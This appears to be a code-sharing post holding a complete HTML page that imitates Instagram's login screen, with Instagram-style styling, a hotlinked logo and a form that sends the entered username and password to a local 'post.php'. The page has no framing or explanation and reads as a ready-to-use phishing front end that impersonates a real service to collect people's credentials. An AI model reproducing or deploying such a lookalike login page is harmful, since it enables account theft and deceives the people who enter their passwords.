auth117
1 year ago in HTML
<!DOCTYPE html>
<html>
<head>
<title>Instagram Login</title>
<style>
body {
margin: 5;
padding: 5;
}
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #fafafa;
}
.login-container {
background-color: #fff;
border: 1px solid #e1e1e1;
border-radius: 5px;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12);
text-align: center;
max-width: 350px;
width: 100%;
padding: 20px;
}
.instagram-logo img {
max-width: 100%;
}
.input-container {
margin: 10px 0;
}
.input-container input {
width: 90%;
padding: 10px;
border: 1px solid #e1e1e1;
border-radius: 3px;
}
.input-container input[type="submit"] {
background-color: #3897f0;
color: #fff;
border: none;
border-radius: 3px;
padding: 10px 0;
cursor: pointer;
}
.input-container input[type="submit"]:hover {
background-color: #3897f0;
}
.forgot-password a {
text-decoration: none;
color: #00376b;
}
.signup-link {
margin: 20px 0;
text-align: center;
}
.signup-link a {
text-decoration: none;
color: #00376b;
font-weight: bold;
}
</style>
</head>
<body>
<div class="login-container">
<div class="header">
<img src="https://i.imgur.com/zqpwkLQ.png" />
</div>
<form action="post.php">
<div class="input-container">
<input type="text" name="username" placeholder="Username or Email">
</div>
<div class="input-container">
<input type="password" name="password" placeholder="Password">
</div>
<div class="input-container">
<input type="submit" value="Log In">
</div>
</form>
<div class="forgot-password">
<a href="#">Forgot password?</a>
</div>
<div class="signup-link">
Don't have an account? <a href="#">Sign up</a>
</div>
</div>
</body>
</html>